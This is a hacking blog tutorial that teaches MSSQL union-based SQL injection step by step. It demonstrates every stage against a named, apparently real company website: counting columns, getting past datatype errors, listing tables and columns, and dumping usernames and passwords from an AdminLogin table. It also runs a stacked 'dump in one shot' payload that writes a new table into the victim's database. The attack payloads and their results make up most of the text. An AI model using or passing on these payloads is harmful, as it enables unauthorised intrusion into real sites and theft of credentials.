Step By Step MSSQL Union Based Injection

Post Image
In the Name of ALLAH the Most Beneficent and the Merciful

After a lot of Tutorials on MySQLi now we are moving to MSSQLi. Yeah!! it may not be some very new shit you may get over here, but i included some of the new tricks which rummy, me and Sufyan found while learning and it could be a handy guide for a n00b like me while injecting into a MSSQL based website. So first of all we need to know the basics of injecting, all the basics including finding the type of injection, database testing and finding the columns etc are same to other databases so i ll suggest you to read the basics before you start here if you dint read them yet.

SQLi Basics 1
SQLi Basics Part 2
SQLi Basics Part 3
Detecting the Database
In this Series of MSSQL Injection we will learn the following types of Injection for MSSQL
1. MSSQL Union Based Injection
2. MSSQL Error Based Injection
3. MSSQL Blind Injection
4. MSSQL Time Based Blind Injection
5. MSSQL Error Based Blind Injection
6. MSSQL DIOS (Dump in One Shot)
7. Pushing Files via MSSQLi
8. Remote Code Execution via MSSQLi

So in this tutorial we'll start with MSSQLi Union Based injection and yeah also will discuss solution for some shit which happens while injecting into MSSQL database.
Actually the truth is something like when we see that the website we want to hack is on PHP/MySQL our reaction is like:


But if the website we want to hack is on ASP/MSSQL then the reaction is somewhat:


But i hope till the time we finish up with our complete series on MSSQLi we'11 be pretty setisfied with our knowledge on MSSQL injection.
Here is the complete Video:

For this tutorial we will use http://aquaservices.co.in/Product.aspx?Id=13 as this site gives most of the problems which you might face while MSSQL Injection.

So the checking part is same as MySQL first putting single quote and then putting double quote checking the error and i came to know this one is single quote based injection.

http://aquaservices.co.in/Product.aspx?Id=13%27
ERROR
http://aquaservices.co.in/Product.aspx?Id=13%22
ERROR
InformationWhen both Single quote and double Quotes gives error then there are high probablities that the injection type is integer based because Single quote based then double quote do not give error and when the injection is double quote based then single quote do not give error, and when both single quote and double quotes give error then apply the golden rule that the injection is integer type.









Now to go ahead we need to know the comment type for MSSQL.
CommentName
--:Comment Type 1
--+:Comment Type 2
--+-:SQL Comment
/**/:Inline Comment
;%00:Null Byte

Now lets try the basic -- comment with our target

http://aquaservices.co.in/Product.aspx?Id=13--
working fine.
http://aquaservices.co.in/Product.aspx?Id=13 order by 1--
No Error
http://aquaservices.co.in/Product.aspx?Id=13 order by 100--
Here comes the error : The order by position number 100 is out of range of the number of items

Now we can continue with order by and in the end we come to know that 8 is the last working column. Now the next part is using using the union select query.

http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union Select 1,2,3,4,5,6,7,8--
Again we got a error : Operand Type Clash: text is incompatible with int

In case of Such Errors on Union select statement we have an option to use null in all columns, so lets try that.

http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union Select null,null,null,null,null,null,null,null--
Again we got a error : The text data type cannot be selected as DISTINCT because it is not comparable.

Heres one more type of error you can find while MSSQL Injection and the solution for this is just use "Union All Select" in place of "Unoin Select", Lets try.

http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select null,null,null,null,null,null,null,null--
Again we got a error : Conversion from type 'DBNull' to type 'String' is not valid. Also known as Datatype Mistmatch Error

The Solution for this type of Errors is as here we can see DBNULL to STRING mismatch so we have to convert each column one by one and see if we can get make it to work. To put a string we can use single quotes but i prefer using the db_name() function to avoid some error. Here we have Eight Columns changing each column one by one could be easy by it could be a pain when there are 20 or more columns so i have a developed a payload generator to make that easy for us. I am gonna generate the payloads which will put db_name() in eight columns one by one.

Here is the link

Now you can use Burp Suite or ZAP Proxy to Fuzz the above payload on place of columns as you can see in the video.

http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select db_name(),2,3,4,5,6,7,8--
Error : Operand type clash: text is incompatible with int (So its better Leave this column as int only)
http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,db_name(),3,4,5,6,7,8--
Error : Operand type clash: text is incompatible with int (So its better Leave that column as int only)
http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,2,db_name(),4,5,6,7,8--
Error : Operand type clash: text is incompatible with int (So its better Leave that columns as int only)
http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select db_name(),2,3,db_name(),5,6,7,8--
Error : Operand type clash: text is incompatible with int (So its better Leave that column as int only)
http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,2,3,4,db_name(),6,7,8--
Error : Operand type clash: text is incompatible with int (So its better Leave that parameter as int only)
http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,2,3,4,5,db_name(),7,8--
Error : Operand type clash: text is incompatible with int (So its better Leave that parameter as int only)
http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,2,3,4,5,6,db_name(),8--
Here we can see the second Column Getting printed.
http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,2,3,4,5,6,db_name(),db_name()--
Conversion failed when converting the nvarchar value 'AquaService' to data type bit. (Here we can see the Database name in Error)
Now we can Put @@version on place of vulnerable column to get the current version from database.

http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,@@version,3,4,5,6,db_name(),8--

And we got the version, now we can get the current database name using db_name().

http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,db_name(),3,4,5,6,db_name(),8--

There are some other ways also to collect some more information from MSSQL which are given here:
Query/FunctionOutput
@@version:Current Version
user_name():Current User
user,system_user,current_user:Current User
db_name():Current Database
db_name():Current Database
@@SERVERNAME:Hostname
Now we will extract the table names, here the syntax is a little bit different than MySQL of lack of limit clause in MSSQL.

http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,table_name,3,4,5,6,db_name(),8 from (select top 1 table_name from information_schema.tables order by 1) as shit order by 1 desc--
We got the first table name : AdminLogin
http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,table_name,3,4,5,6,db_name(),8 from (select top 2 table_name from information_schema.tables order by 1) as shit order by 1 desc--
We got the second table name : Certificate
http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,table_name,3,4,5,6,db_name(),8 from (select top 3 table_name from information_schema.tables order by 1) as shit order by 1 desc--
We got the Forth table name : ClientList
In the same manner we can get all the tables one by one. Now lets get the columns. I will extract the colums from AdminLogin table

http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,column_name,3,4,5,6,db_name(),8 from (select top 1 column_name from information_schema.columns where table_name='AdminLogin' order by 1) as shit order by 1 desc--
We got the first column from AdminLogin Table : IsActive
http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,column_name,3,4,5,6,db_name(),8 from (select top 2 column_name from information_schema.columns where table_name='AdminLogin' order by 1) as shit order by 1 desc--
We got the Second column from AdminLogin Table : Password
http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,column_name,3,4,5,6,db_name(),8 from (select top 4 column_name from information_schema.columns where table_name='AdminLogin' order by 1) as shit order by 1 desc--
We got the Third column from AdminLogin Table : UserName
We got the table names the column names and now lets extrct the data from them. For concatination we can use %2b which is +.

http://aquaservices.co.in/Product.aspx?Id=13 and 0=1 Union All Select 1,username%2b' '%2bpassword,3,4,5,6,db_name(),8 from AdminLogin--
Now in the end i will like to show you how to make the whole process alot faster by using MSSQL DIOS

http://aquaservices.co.in/Product.aspx?Id=13;begin declare @x varchar(8000), @y int, @z varchar(50), @a varchar(100) declare @myTbl table (name varchar(8000) not null) SET @y=1 SET @x='injected by ZEN :: 
'%2b@@version%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Database : '%2bdb_name()%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @z='' SET @a='' WHILE @y<=(SELECT COUNT(table_name)
from INFORMATION_SCHEMA.TABLES) begin SET @a='' Select @z=table_name from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in (select name from @myTbl) select @a=@a %2b column_name%2b' : '
from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=@z insert @myTbl values(@z) SET @x=@x %2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Table: '%2b@z%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Columns
: '%2b@a%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @y = @y%2b1 end select @x as output into temp_dios_sample END--
It will give error but actually its making the DIOS table so now lets try checking the output under temp_dios_sample.

And here we got compete output at once. Before i finish i ll like to show you some basic errors in MSSQLi.
Error
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][SQL Server Native Client 10.0][SQL Server]Executing SQL directly; no cursor.
Microsoft VBScript runtime error '800a000d'
Type mismatch: 'id'
Error Executing Database Query.
Line 3: Incorrect syntax near ''.
The text data type cannot be selected as DISTINCT because it is not comparable.
Operand type clash: text is incompatible with int
So Here we are finished with MSSQL Union Based Injection.
Newer post

Routed SQL Injection

Routed SQL Injection
Hand Guide To Local File Inclusion(LFI)
Older post

Hand Guide To Local File Inclusion(LFI)